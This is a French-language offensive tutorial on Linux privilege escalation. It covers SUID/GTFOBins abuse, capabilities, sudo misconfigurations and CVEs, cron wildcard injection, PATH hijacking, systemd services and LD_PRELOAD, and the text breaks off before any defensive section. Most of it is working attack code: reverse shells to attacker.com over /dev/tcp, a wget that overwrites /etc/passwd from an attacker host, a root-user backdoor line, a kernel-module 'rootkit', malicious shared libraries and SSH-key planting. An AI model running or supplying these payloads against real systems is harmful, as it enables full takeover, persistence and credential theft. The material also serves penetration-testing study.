L'élévation de privilèges sous Linux constitue l'étape critique de toute opération offensive post-exploitation, transformant un accès utilisateur limité en contrôle total root du système. Les vecteurs d'attaque sont multiples et évoluent constamment : binaires SUID mal configurés exploitables via GTFOBins, capabilities Linux offrant des privilèges granulaires détournables, tâches cron vulnérables au PATH hijacking, vulnérabilités kernel comme DirtyPipe (CVE-2022-0847) et GameOver(lay) permettant une escalade instantanée, configurations sudo permissives, escape de conteneurs Docker via socket exposé, et exploitation de polkit/pkexec (CVE-2021-4034). L'outil LinPEAS automatise l'énumération de ces vecteurs. Ce guide couvre chaque technique avec des exemples d'exploitation reproductibles, les conditions de vulnérabilité, et les contre-mesures défensives pour durcir les systèmes Linux en production, depuis les serveurs bare-metal jusqu'aux environnements conteneurisés Kubernetes et Docker.
L'escalade de privilèges locale (Local Privilege Escalation — LPE) est la phase qui transforme un accès utilisateur limité en contrôle total du système. Lors d'un pentest, l'accès initial — obtenu via une injection de commande, un shell web, un credential stuffing SSH, ou l'exploitation d'un service vulnérable — atterrit rarement en tant que root. L'attaquant obtient un shell avec les droits de www-data, apache, postgres, ou un utilisateur applicatif sans privilèges. L'escalade de privilèges est le pont entre cet accès limité et la compromission complète : lecture de tous les fichiers, modification de la configuration, installation de backdoors persistantes, pivot vers d'autres machines du réseau. Sur Linux, les vecteurs d'escalade sont nombreux et variés : binaires SUID/SGID, capabilities mal configurées, tâches cron vulnérables, configurations sudo permissives, exploits noyau, évasions de conteneurs Docker, abus de polkit, injection de bibliothèques partagées. Le modèle de sécurité Linux repose sur la séparation des privilèges entre l'espace utilisateur et le noyau, avec le superutilisateur root comme frontière absolue. Chaque mécanisme qui permet de franchir cette frontière — légitimement ou non — constitue un vecteur d'escalade potentiel. Cet article couvre systématiquement chaque vecteur, avec les commandes d'énumération, les techniques d'exploitation détaillées, les exemples de code fonctionnels, et les références GTFOBins pour chaque binaire exploitable. Les exemples sont testés sur des distributions Debian/Ubuntu et RHEL/CentOS courantes en environnement de production. La compréhension de ces techniques est indispensable tant pour l'attaquant (red team) que pour le défenseur (blue team) qui doit anticiper et mitiger ces vecteurs.
Contre-mesures et durcissement
Énumération Système : La Première Phase Critique
L'escalade de privilèges commence invariablement par l'énumération. Un attaquant méthodique ne tente pas d'exploits noyau au hasard — il cartographie le système pour identifier le vecteur le plus fiable et le moins détectable. L'énumération couvre les informations système, les permissions, les processus, les services, les fichiers de configuration, et les potentielles erreurs de configuration. Cette phase détermine la stratégie d'escalade et doit être exhaustive pour ne manquer aucune opportunité.
Informations Système de Base
# Identification du système
uname -a # Kernel version, architecture
cat /etc/os-release # Distribution et version
cat /proc/version # Version détaillée du kernel
hostname # Nom de la machine
id # Utilisateur courant et groupes
whoami # Nom de l'utilisateur
groups # Groupes de l'utilisateur
# Autres utilisateurs
cat /etc/passwd # Liste des utilisateurs
cat /etc/passwd | grep -v nologin | grep -v false # Utilisateurs avec shell
cat /etc/shadow # Hashes (lisible uniquement si privilégié)
cat /etc/group # Groupes et membres
# Architecture et sécurité
file /bin/ls # Architecture (32/64 bits)
cat /proc/sys/kernel/randomize_va_space # ASLR (0=off, 1=partial, 2=full)
dmesg 2>/dev/null | grep -i "secure boot"
sestatus 2>/dev/null # SELinux
aa-status 2>/dev/null # AppArmor
cat /proc/sys/kernel/yama/ptrace_scope # Restrictions ptrace (0=permissif)
Réseau et Connexions
# Interfaces réseau
ip addr show # Interfaces et IPs
ip route # Table de routage
cat /etc/resolv.conf # Serveurs DNS
# Connexions actives
ss -tlnp # Ports en écoute (TCP)
ss -ulnp # Ports en écoute (UDP)
netstat -tlnp 2>/dev/null # Alternative
# ARP (machines voisines)
ip neigh # Table ARP
cat /proc/net/arp # Alternative
# Firewall
iptables -L -n 2>/dev/null # Règles iptables
nft list ruleset 2>/dev/null # Règles nftables
Processus et Services
# Processus en cours
ps aux # Tous les processus
ps aux | grep root # Processus root
ps aux --forest # Arbre de processus
# Services systemd
systemctl list-units --type=service --state=running
systemctl list-timers # Timers (équivalent cron moderne)
# Tâches cron
crontab -l # Cron de l'utilisateur courant
cat /etc/crontab # Cron système
ls -la /etc/cron.* # Répertoires cron
cat /var/spool/cron/crontabs/* 2>/dev/null # Cron de tous les utilisateurs
# Processus de monitoring (pspy)
# pspy surveille les processus sans droits root
# https://github.com/DominicBreuker/pspy
./pspy64 -pf -i 1000 # Surveiller toutes les secondes
Point essentiel : L'outil pspy est indispensable pour l'énumération des vecteurs d'escalade de privilèges. Contrairement à ps qui ne montre qu'un instantané, pspy surveille en continu la création de nouveaux processus — révélant les tâches cron, les scripts d'initialisation, et les services qui s'exécutent périodiquement en tant que root. Un processus root qui exécute un script world-writable est un vecteur d'escalade immédiat. Exécutez pspy pendant au moins 5 à 10 minutes pour capturer les tâches périodiques de courte durée qui n'apparaissent pas dans un simple ps aux.
Exploitation avancée
SUID/SGID : Le Vecteur Classique d'Escalade
Un binaire avec le bit SUID (Set User ID) s'exécute avec les privilèges de son propriétaire, pas de l'utilisateur qui le lance. Si le propriétaire est root, le binaire s'exécute en tant que root. Si ce binaire permet d'exécuter des commandes arbitraires, de lire des fichiers, ou de modifier le système, c'est un vecteur d'escalade directe. Le bit SGID fonctionne de manière similaire mais pour le groupe. Les binaires SUID sont le vecteur d'escalade le plus ancien et le plus documenté sur Linux, mais restent extrêmement courants en raison des installations par défaut et des configurations personnalisées non auditées.
# Trouver les binaires SUID
find / -perm -4000 -type f 2>/dev/null
# Trouver les binaires SGID
find / -perm -2000 -type f 2>/dev/null
# Trouver les deux (SUID ou SGID)
find / -perm -u=s -o -perm -g=s -type f 2>/dev/null
# Comparer avec les SUID légitimes de la distribution
# Résultat typique (légitimes) :
# /usr/bin/passwd → Change le mot de passe (nécessite écriture /etc/shadow)
# /usr/bin/su → Changer d'utilisateur
# /usr/bin/sudo → Exécuter en tant qu'autre utilisateur
# /usr/bin/newgrp → Changer de groupe
# /usr/bin/chfn → Changer les infos utilisateur
# /usr/bin/chsh → Changer le shell
# /usr/bin/mount → Monter un filesystem
# /usr/bin/umount → Démonter un filesystem
# /usr/bin/pkexec → Exécuter en tant qu'autre utilisateur (polkit)
# Résultats exploitables (exemples) :
# /usr/bin/find → Exécution de commandes via -exec
# /usr/bin/vim → Shell via :!/bin/bash
# /usr/bin/python3 → Shell via os.system()
# /usr/bin/env → Shell via env /bin/bash
# /usr/bin/nmap → Shell interactif (anciennes versions)
# /usr/bin/cp → Écriture de fichiers arbitraires
# /usr/bin/wget → Téléchargement et écrasement de fichiers
# /usr/bin/base64 → Lecture de fichiers arbitraires
# /usr/bin/dd → Lecture/écriture de fichiers bruts
Le site GTFOBins documente les techniques d'exploitation pour plus de 350 binaires Linux. Voici les exploitations des binaires SUID les plus courants :
# find (SUID)
find . -exec /bin/bash -p \;
# Le flag -p préserve les privilèges effectifs (ne drop pas le SUID)
# vim (SUID)
vim -c ':!/bin/bash -p'
# python3 (SUID)
python3 -c 'import os; os.execl("/bin/bash", "bash", "-p")'
# env (SUID)
env /bin/bash -p
# nmap (anciennes versions avec mode interactif, < 5.21)
nmap --interactive
!sh
# cp (SUID) — écrire dans /etc/passwd
# Générer un hash de mot de passe
openssl passwd -1 -salt hack password123
# Résultat : $1$hack$WfPHnK1BfJRLYe2vQhKq70
# Ajouter un utilisateur root dans /etc/passwd
cp /etc/passwd /tmp/passwd_backup
echo 'hacker:$1$hack$WfPHnK1BfJRLYe2vQhKq70:0:0::/root:/bin/bash' >> /tmp/passwd_modified
cp /tmp/passwd_modified /etc/passwd
# wget (SUID) — remplacer /etc/passwd
wget http://attacker.com/passwd_modified -O /etc/passwd
# bash (SUID) — trivial
bash -p
# less (SUID) — ouvrir un fichier plus grand que le terminal
less /etc/shadow
!/bin/bash
# tar (SUID)
tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
# awk (SUID)
awk 'BEGIN {system("/bin/bash -p")}'
# perl (SUID)
perl -e 'exec "/bin/bash -p";'
# ruby (SUID)
ruby -e 'exec "/bin/bash -p"'
# base64 (SUID) — lecture de fichiers
base64 /etc/shadow | base64 -d
# dd (SUID) — lecture/écriture brute
dd if=/etc/shadow of=/tmp/shadow_copy
# Écriture d'un nouvel /etc/passwd
echo 'hacker:$1$hack$WfPHnK1BfJRLYe2vQhKq70:0:0::/root:/bin/bash' | dd of=/etc/passwd oflag=append conv=notrunc
Les binaires SUID personnalisés (développés en interne) sont souvent les plus intéressants. Ils sont rarement audités et contiennent fréquemment des vulnérabilités : injection de commandes, path traversal, buffer overflow. L'analyse d'un binaire SUID inconnu se fait avec strings, strace, et ltrace :
Abus de permissions
# Analyse d'un binaire SUID inconnu
file /usr/local/bin/custom_backup # Type de fichier
strings /usr/local/bin/custom_backup # Chaînes lisibles (commandes, paths)
strace /usr/local/bin/custom_backup # Appels système
ltrace /usr/local/bin/custom_backup # Appels de bibliothèque
# Exemple de sortie ltrace révélant une vulnérabilité :
# system("tar czf /backup/files.tar.gz /var/www/*")
# → Le binaire appelle system() avec un wildcard → wildcard injection
# → Le binaire appelle tar sans chemin absolu → PATH hijacking
# Analyse avec objdump pour un ELF compilé
objdump -d /usr/local/bin/custom_backup | grep -A5 "system\|exec\|popen"
# Reverse engineering avec Ghidra ou radare2 pour identifier
# les vulnérabilités dans les binaires compilés sans symboles
Capabilities Linux : Le SUID Granulaire
Les capabilities Linux divisent les privilèges root en unités granulaires. Un binaire peut avoir une capability spécifique (comme CAP_NET_RAW pour créer des sockets raw) sans être SUID root. Mais certaines capabilities sont aussi puissantes que root lui-même. Introduites dans le kernel 2.2, les capabilities sont aujourd'hui le mécanisme recommandé pour accorder des privilèges spécifiques sans donner un accès root complet. Cependant, une attribution incorrecte de capabilities peut être aussi dangereuse qu'un bit SUID.
# Énumérer les binaires avec des capabilities
getcap -r / 2>/dev/null
# Résultats typiques (légitimes) :
# /usr/bin/ping = cap_net_raw+ep
# /usr/bin/traceroute = cap_net_raw+ep
# Capabilities exploitables et leur impact :
# cap_setuid+ep → Changer l'UID du processus (→ root direct)
# cap_setgid+ep → Changer le GID du processus
# cap_dac_override+ep → Contourner les permissions fichiers (lecture/écriture tout)
# cap_dac_read_search+ep → Lire n'importe quel fichier du système
# cap_sys_admin+ep → mount, ptrace, bpf, namespace (presque root)
# cap_sys_ptrace+ep → Injecter du code dans d'autres processus
# cap_net_admin+ep → Modifier la configuration réseau, sniffer
# cap_fowner+ep → Changer le propriétaire de n'importe quel fichier
# cap_chown+ep → Changer les permissions de n'importe quel fichier
# cap_sys_module+ep → Charger des modules noyau (rootkit)
# cap_net_bind_service+ep → Bind sur les ports < 1024 (peu exploitable seul)
# Flags expliqués :
# e = effective (actif immédiatement)
# p = permitted (le processus peut l'activer)
# i = inheritable (transmis aux processus enfants)
Exploitation de cap_setuid
# Si python3 a cap_setuid+ep :
# getcap /usr/bin/python3 → /usr/bin/python3 = cap_setuid+ep
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# Si perl a cap_setuid+ep :
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
# Si ruby a cap_setuid+ep :
ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'
# Si gdb a cap_setuid+ep :
gdb -q -nx -ex 'python import os; os.setuid(0)' \
-ex '!bash' -ex quit
# Si node a cap_setuid+ep :
node -e 'process.setuid(0); require("child_process").spawn("/bin/bash", {stdio: [0,1,2]})'
# Si php a cap_setuid+ep :
php -r 'posix_setuid(0); system("/bin/bash");'
Exploitation de cap_dac_read_search et cap_dac_override
# cap_dac_read_search : lecture de tout fichier sans restriction de permission
# Si tar a cap_dac_read_search :
tar czf /tmp/shadow.tar.gz /etc/shadow
tar xzf /tmp/shadow.tar.gz -C /tmp/
cat /tmp/etc/shadow
# Si openssl a cap_dac_read_search :
openssl enc -in /etc/shadow -out /tmp/shadow.txt -none
# Si cat a cap_dac_read_search :
cat /etc/shadow
cat /root/.ssh/id_rsa
# cap_dac_override : bypass complet des permissions (lecture ET écriture)
# Si python3 a cap_dac_override :
python3 -c '
f = open("/etc/shadow", "r")
print(f.read())
f.close()
# Ou écrire dans /etc/passwd pour ajouter un utilisateur root
f = open("/etc/passwd", "a")
f.write("hacker:$1$xyz$h7RQWB.vZn8F7FrmYqpGI/:0:0::/root:/bin/bash\n")
f.close()
'
Exploitation de cap_sys_admin
# cap_sys_admin est extrêmement puissante — presque équivalente à root
# Elle permet : mount, ptrace, bpf, namespace creation, et plus
# Monter un disque et accéder au filesystem root
mount /dev/sda1 /mnt
# Créer un namespace et monter un overlay FS
unshare --mount --pid --fork /bin/bash
# Si Python a cap_sys_admin :
python3 -c '
import ctypes
libc = ctypes.CDLL("libc.so.6")
libc.mount(b"/dev/sda1", b"/mnt", b"ext4", 0, None)
'
# Exploitation via eBPF (cap_sys_admin ou cap_bpf sur kernel 5.8+)
# Charger un programme BPF qui intercepte les appels système
# et modifie les données en transit (credentials, etc.)
Exploitation de cap_sys_ptrace
# cap_sys_ptrace permet d'injecter du code dans n'importe quel processus
# Si combiné avec un processus root en cours d'exécution → escalade
# Identifier un processus root
ps aux | grep root
# Exemple : PID 1234 est un processus root
# Injection via gdb (si disponible)
gdb -p 1234 -batch -ex 'call (int)system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash")'
# Injection via Python + ptrace
python3 << 'EOF'
import ctypes
import sys
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
libc = ctypes.CDLL("libc.so.6")
target_pid = 1234 # PID du processus root
# Attach au processus
libc.ptrace(PTRACE_ATTACH, target_pid, 0, 0)
# Injecter un shellcode qui exécute notre payload
# ... (injection complète nécessite manipulation des registres)
EOF
Exploitation de cap_sys_module
# cap_sys_module permet de charger des modules noyau
# C'est l'escalade la plus puissante possible — contrôle total du kernel
# Créer un module noyau qui donne un shell root
cat > /tmp/rootkit.c << 'EOF'
#include
#include
#include
MODULE_LICENSE("GPL");
static int __init rootkit_init(void) {
char *argv[] = {"/bin/bash", "-c",
"cp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash", NULL};
char *envp[] = {"HOME=/root", "PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL};
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
return 0;
}
static void __exit rootkit_exit(void) {}
module_init(rootkit_init);
module_exit(rootkit_exit);
EOF
# Compiler le module
cat > /tmp/Makefile << 'EOF'
obj-m += rootkit.o
all:
make -C /lib/modules/$(shell uname -r)/build M=/tmp modules
EOF
cd /tmp && make
insmod /tmp/rootkit.ko
/tmp/rootbash -p
Point essentiel : Les capabilities Linux sont souvent négligées lors de l'énumération car elles ne sont pas visibles avec un simple ls -la. La commande getcap -r / 2>/dev/null est indispensable et doit être exécutée systématiquement. Les capabilities les plus dangereuses sont cap_setuid (escalade directe), cap_sys_admin (mount/ptrace), cap_dac_override (lecture/écriture de tout fichier), et cap_sys_module (chargement de modules noyau). Une seule capability mal attribuée peut compromettre la totalité du système.
Exploitation avancée
Sudo : Configurations Exploitables et Vulnérabilités
La configuration sudo est l'un des vecteurs d'escalade les plus fréquents en conditions réelles. La commande sudo -l liste les commandes que l'utilisateur courant peut exécuter via sudo — c'est la première commande à exécuter après l'obtention d'un shell. Les administrateurs configurent souvent sudo de manière trop permissive, autorisant des commandes qui permettent l'exécution de shells ou la lecture/écriture de fichiers arbitraires.
# Vérifier les permissions sudo
sudo -l
# Résultats exploitables typiques :
# (root) NOPASSWD: /usr/bin/vim
# (root) NOPASSWD: /usr/bin/find
# (root) NOPASSWD: /usr/bin/awk
# (root) NOPASSWD: /usr/bin/python3
# (root) NOPASSWD: /usr/bin/less
# (root) NOPASSWD: /usr/bin/man
# (root) NOPASSWD: /usr/bin/ftp
# (root) NOPASSWD: /usr/bin/zip
# (root) NOPASSWD: /usr/bin/tar
# (root) NOPASSWD: /usr/bin/docker
# (root) NOPASSWD: /usr/bin/env
# (root) NOPASSWD: /usr/bin/perl
# (root) NOPASSWD: /usr/bin/ruby
# (root) NOPASSWD: /usr/bin/node
# (root) NOPASSWD: /usr/bin/mysql
# (root) NOPASSWD: /usr/sbin/apache2
# (ALL) NOPASSWD: /usr/bin/apt-get
# (root) NOPASSWD: /usr/bin/journalctl
# (root) NOPASSWD: /usr/bin/systemctl
# (root) NOPASSWD: /usr/bin/pip3
# (root) NOPASSWD: /usr/bin/git
# (root) NOPASSWD: /usr/bin/ssh
Exploitation de chaque binaire via sudo (référence GTFOBins) :
# sudo vim
sudo vim -c ':!/bin/bash'
# sudo find
sudo find / -exec /bin/bash \; -quit
# sudo awk
sudo awk 'BEGIN {system("/bin/bash")}'
# sudo python3
sudo python3 -c 'import os; os.system("/bin/bash")'
# sudo less (le terminal doit être plus petit que le fichier)
sudo less /etc/shadow
!/bin/bash
# sudo man
sudo man man
!/bin/bash
# sudo ftp
sudo ftp
!/bin/bash
# sudo zip
sudo zip /tmp/exploit.zip /tmp/dummy -T --unzip-command="bash -c '/bin/bash'"
# sudo tar
sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
# sudo docker
sudo docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/bash
# sudo env
sudo env /bin/bash
# sudo mysql
sudo mysql -e '\! /bin/bash'
# sudo apache2 (lecture de fichiers via message d'erreur)
sudo apache2 -f /etc/shadow
# sudo apt-get (via changelog qui invoque un pager)
sudo apt-get changelog apt
!/bin/bash
# sudo journalctl (si le terminal est petit → invoque le pager)
sudo journalctl
!/bin/bash
# sudo systemctl (invoque le pager pour les sorties longues)
sudo systemctl
!/bin/bash
# sudo node
sudo node -e 'require("child_process").spawn("/bin/bash", {stdio: [0, 1, 2]})'
# sudo perl
sudo perl -e 'exec "/bin/bash";'
# sudo ruby
sudo ruby -e 'exec "/bin/bash"'
# sudo pip3 (exécution de code Python arbitraire)
TF=$(mktemp -d)
echo 'import os; os.system("/bin/bash")' > $TF/setup.py
sudo pip3 install $TF
# sudo git (hook pre-commit ou via pager)
sudo git -p help
!/bin/bash
# sudo ssh (via ProxyCommand)
sudo ssh -o ProxyCommand='bash -c "/bin/bash 0<&2 1>&2"' x
Sudo avec Wildcards et Variables d'Environnement
# Si sudo permet un script avec un wildcard :
# (root) NOPASSWD: /opt/scripts/backup.sh *
# Si le script utilise tar avec un wildcard :
# #!/bin/bash
# cd /var/www/html
# tar czf /backup/web.tar.gz *
# Exploitation via tar wildcard injection :
cd /var/www/html
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=bash reverseshell.sh"
echo "bash -i >& /dev/tcp/attacker/4444 0>&1" > reverseshell.sh
chmod +x reverseshell.sh
# Quand le script s'exécute : tar interprète les noms de fichiers comme des options
# Sudo avec LD_PRELOAD (si env_keep contient LD_PRELOAD)
# Vérifier : sudo -l | grep env_keep
# Si "env_keep += LD_PRELOAD" apparaît :
cat > /tmp/shell.c << 'EOF'
#include
#include
#include
void _init() {
unsetenv("LD_PRELOAD");
setuid(0);
setgid(0);
system("/bin/bash -p");
}
EOF
gcc -shared -fPIC -nostartfiles -o /tmp/shell.so /tmp/shell.c
sudo LD_PRELOAD=/tmp/shell.so /usr/bin/find
# Sudo avec LD_LIBRARY_PATH (si env_keep contient LD_LIBRARY_PATH)
# Identifier les bibliothèques chargées par le binaire autorisé
ldd /usr/bin/find
# Créer une fausse bibliothèque avec le même nom
cat > /tmp/libm.c << 'EOF'
#include
#include
void __attribute__((constructor)) init() {
unsetenv("LD_LIBRARY_PATH");
setuid(0);
setgid(0);
system("/bin/bash -p");
}
EOF
gcc -shared -fPIC -o /tmp/libm.so.6 /tmp/libm.c
sudo LD_LIBRARY_PATH=/tmp /usr/bin/find
Vulnérabilités Sudo Historiques
# CVE-2019-14287 (sudo < 1.8.28)
# Si sudoers contient : (ALL, !root) NOPASSWD: /bin/bash
# L'utilisateur ne devrait PAS pouvoir exécuter en tant que root
sudo -u#-1 /bin/bash
# L'UID -1 est interprété comme 0 (root) par le kernel
# CVE-2021-3156 (Baron Samedit, sudo 1.8.2-1.8.31p2, 1.9.0-1.9.5p1)
# Heap overflow dans sudo, exploitation sans configuration spécifique
# Test de vulnérabilité :
sudoedit -s '\' $(python3 -c 'print("A"*65536)')
# Si le processus crash → vulnérable
# Exploits publics disponibles pour Ubuntu 20.04, Debian 10, Fedora 33
# CVE-2023-22809 (sudo 1.8.0-1.9.12p1)
# Bypass de sudoedit via la variable EDITOR
# Si sudoers contient : user ALL=(root) NOPASSWD: sudoedit /etc/config
EDITOR="vim -- /etc/shadow" sudoedit /etc/config
# Permet de modifier /etc/shadow alors que seul /etc/config est autorisé
# Vérification de la version sudo
sudo --version
# sudo, version 1.8.31 → vulnérable à CVE-2021-3156
Tâches Cron et Timers : Exécution Planifiée Exploitable
Les tâches cron exécutées en tant que root qui référencent des scripts modifiables par l'utilisateur courant sont des vecteurs d'escalade directe. Les trois sous-vecteurs principaux sont : les scripts world-writable, la wildcard injection, et le PATH hijacking. L'identification des tâches cron nécessite une approche multi-sources car toutes les tâches ne sont pas visibles dans /etc/crontab.
# Énumération exhaustive des tâches cron
cat /etc/crontab
ls -la /etc/cron.d/
cat /etc/cron.d/*
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/
crontab -l
cat /var/spool/cron/crontabs/* 2>/dev/null
# Vérifier les permissions des scripts référencés
# Si /etc/crontab contient :
# * * * * * root /opt/scripts/backup.sh
ls -la /opt/scripts/backup.sh
# Si world-writable (-rwxrwxrwx) ou writable par notre groupe → exploitable
# Vérifier les répertoires parents aussi
ls -la /opt/scripts/
# Si le répertoire est writable, on peut supprimer et recréer le script
Exploitation de Scripts Cron World-Writable
# Le script /opt/scripts/backup.sh est exécuté par root via cron
# et est world-writable (ou writable par notre groupe)
# Option 1 : Ajouter un reverse shell
echo 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' >> /opt/scripts/backup.sh
# Option 2 : Copier bash avec SUID
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /opt/scripts/backup.sh
# Attendre l'exécution du cron, puis :
/tmp/rootbash -p
# Option 3 : Ajouter notre clé SSH à root
echo 'mkdir -p /root/.ssh && echo "ssh-ed25519 AAAA..." >> /root/.ssh/authorized_keys' >> /opt/scripts/backup.sh
# Option 4 : Ajouter un utilisateur root dans /etc/passwd
echo 'echo "backdoor:\$1\$xyz\$h7RQWB.vZn8F7FrmYqpGI/:0:0::/root:/bin/bash" >> /etc/passwd' >> /opt/scripts/backup.sh
Wildcard Injection dans les Scripts Cron
# Si le script cron contient :
# #!/bin/bash
# cd /home/user/data
# tar czf /backup/data.tar.gz *
# Le wildcard * est expandé par le shell AVANT d'être passé à tar
# Les noms de fichiers qui commencent par -- sont interprétés comme des options
# Exploitation avec tar :
cd /home/user/data
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash" > shell.sh
# Quand le cron exécute : tar czf /backup/data.tar.gz *
# Cela devient : tar czf /backup/data.tar.gz --checkpoint=1 --checkpoint-action=exec=sh shell.sh file1 file2
# Wildcard injection avec rsync :
# Si le script cron contient : rsync -a /home/user/data/* /backup/
cd /home/user/data
echo "" > "-e sh shell.sh"
echo "cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash" > shell.sh
# Wildcard injection avec chown/chmod :
# Si le script contient : chown root:root /home/user/data/*
# Ou : chmod 644 /home/user/data/*
cd /home/user/data
echo "" > "--reference=/tmp/myfile"
# Le fichier de référence a les permissions/propriétaire souhaités
# Wildcard injection avec 7z :
# Si le script contient : 7z a /backup/archive.7z /home/user/data/*
cd /home/user/data
ln -s /root/.ssh/id_rsa symlink_key
# 7z suivra le symlink et ajoutera la clé SSH dans l'archive
PATH Hijacking dans les Scripts Cron
# Si le script cron appelle une commande sans chemin absolu :
# #!/bin/bash
# date >> /var/log/backup.log
# compress /var/log/*.old
# Et si le PATH du cron inclut un répertoire writable par l'utilisateur :
# PATH=/usr/local/bin:/usr/bin:/bin (défaut crontab)
# Vérifier le PATH dans /etc/crontab
head -5 /etc/crontab
# Si /usr/local/bin est writable :
ls -la /usr/local/bin/
echo '#!/bin/bash' > /usr/local/bin/compress
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /usr/local/bin/compress
chmod +x /usr/local/bin/compress
# Le script cron exécutera notre "compress" au lieu du vrai
# Alternative : si on ne peut pas écrire dans les répertoires du PATH
# mais que le script utilise un PATH relatif ou modifiable via l'environnement
# → Créer le faux binaire dans le répertoire de travail du script
Point essentiel : L'exploitation des tâches cron repose sur trois vecteurs principaux : scripts world-writable référencés par le cron, wildcard injection dans les commandes tar/rsync/chmod/7z, et PATH hijacking quand les commandes sont appelées sans chemin absolu. L'outil pspy est essentiel pour identifier les tâches cron qui ne sont pas visibles dans /etc/crontab (cron utilisateur, systemd timers, scripts at). Surveillez pendant au moins 5 minutes pour capturer les tâches fréquentes. Les systemd timers sont l'équivalent moderne des cron jobs et doivent être vérifiés avec systemctl list-timers --all.
Exploitation avancée
Systemd Timer et Service Abuse
Les systemd timers sont l'équivalent moderne des tâches cron sur les distributions Linux récentes. Ils offrent plus de flexibilité mais présentent les mêmes types de vulnérabilités si les fichiers de service ou les scripts référencés sont modifiables par un utilisateur non privilégié. De plus, les fichiers .service eux-mêmes peuvent être des vecteurs d'escalade s'ils sont mal protégés.
# Énumération des timers actifs
systemctl list-timers --all
# Attention aux timers qui exécutent des scripts modifiables
# Vérifier les fichiers de service writable
find /etc/systemd/system/ -writable -type f 2>/dev/null
find /usr/lib/systemd/system/ -writable -type f 2>/dev/null
find /lib/systemd/system/ -writable -type f 2>/dev/null
find /run/systemd/system/ -writable -type f 2>/dev/null
# Vérifier les scripts référencés par les services
grep -r "ExecStart\|ExecStop\|ExecReload" /etc/systemd/system/ /usr/lib/systemd/system/ 2>/dev/null | grep -v "^#"
# Pour chaque script trouvé, vérifier les permissions
# ls -la /path/to/script.sh
# Vérifier les fichiers .timer
find /etc/systemd/ /usr/lib/systemd/ -name "*.timer" 2>/dev/null
# Lire le contenu pour identifier le service associé
systemctl cat nom-du-timer.timer
Exploitation d'un Service Writable
# Si un fichier .service est writable par notre utilisateur :
# /etc/systemd/system/backup.service
# Modifier ExecStart pour exécuter notre payload
cat > /tmp/malicious.service << 'EOF'
[Unit]
Description=Backup Service
[Service]
Type=oneshot
ExecStart=/bin/bash -c "cp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash"
[Install]
WantedBy=multi-user.target
EOF
# Copier le service modifié (si on a les droits d'écriture sur le fichier original)
cp /tmp/malicious.service /etc/systemd/system/backup.service
# Si on peut recharger systemd (nécessite des droits spécifiques)
systemctl daemon-reload
# Attendre que le timer déclenche le service, ou forcer si possible
systemctl start backup.service
# Exploitation via les fichiers ExecStartPre/ExecStartPost
# Même si ExecStart n'est pas exploitable, les hooks Pre/Post le sont peut-être
Création de Services via D-Bus (si autorisé)
# Certaines configurations permettent aux utilisateurs de créer des services
# dans leur répertoire ~/.config/systemd/user/
# Mais pour une escalade, on cible les services système
# Vérifier si on peut interagir avec systemd via D-Bus
busctl list | grep systemd
# Si le polkit est configuré pour permettre certaines actions sans mot de passe
# (ex: redémarrage de services spécifiques)
pkaction --verbose | grep -A10 "org.freedesktop.systemd1"
PATH Manipulation et Exploitation
Quand un script ou un binaire privilégié appelle une commande sans chemin absolu, l'attaquant peut créer un faux binaire dans un répertoire qui apparaît avant le vrai dans la variable PATH. Cette technique est l'une des plus simples mais aussi l'une des plus fréquemment rencontrées, car les développeurs omettent souvent les chemins absolus dans les scripts d'administration.
# Exemple : un script SUID ou un cron job root contient :
# #!/bin/bash
# service nginx restart
# mail -s "restart done" admin@company.com
# "service" et "mail" sont appelés sans chemin absolu
# Si l'attaquant contrôle un répertoire dans le PATH :
# Technique 1 : Modifier le PATH de l'environnement courant
export PATH=/tmp:$PATH
echo '#!/bin/bash' > /tmp/service
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /tmp/service
chmod +x /tmp/service
# Technique 2 : Si le binaire SUID utilise system() ou popen()
# system() utilise /bin/sh -c "commande"
# Le PATH hérité de l'appelant est utilisé
# → PATH hijacking fonctionne si le binaire ne reset pas le PATH
# Technique 3 : Si le script source un fichier modifiable
# #!/bin/bash
# source /opt/app/config.env ← Si writable, on peut y mettre export PATH=/tmp:$PATH
# backup_tool --compress ← Sera résolu via notre PATH modifié
# Vérification : le binaire SUID reset-il le PATH ?
strings /usr/local/bin/custom_suid | grep PATH
# Si "PATH=" apparaît → le binaire définit son propre PATH (non exploitable)
# Si absent → le binaire utilise le PATH de l'environnement
LD_PRELOAD et LD_LIBRARY_PATH : Injection de Bibliothèques
Les variables d'environnement LD_PRELOAD et LD_LIBRARY_PATH contrôlent le chargement des bibliothèques partagées. LD_PRELOAD force le chargement d'une bibliothèque avant toutes les autres, permettant d'intercepter n'importe quel appel de fonction. LD_LIBRARY_PATH modifie l'ordre de recherche des bibliothèques. Normalement, le dynamic linker ignore ces variables pour les binaires SUID (protection de sécurité), mais sudo avec env_keep est une exception exploitable.
# Créer une bibliothèque partagée malveillante pour LD_PRELOAD
cat > /tmp/preload.c << 'EOF'
#include
#include
#include
// La fonction _init() est exécutée automatiquement au chargement
void _init() {
unsetenv("LD_PRELOAD"); // Éviter la boucle infinie
setresuid(0, 0, 0);
setresgid(0, 0, 0);
system("/bin/bash -p");
}
EOF
gcc -shared -fPIC -nostartfiles -o /tmp/preload.so /tmp/preload.c
# Si sudo permet LD_PRELOAD :
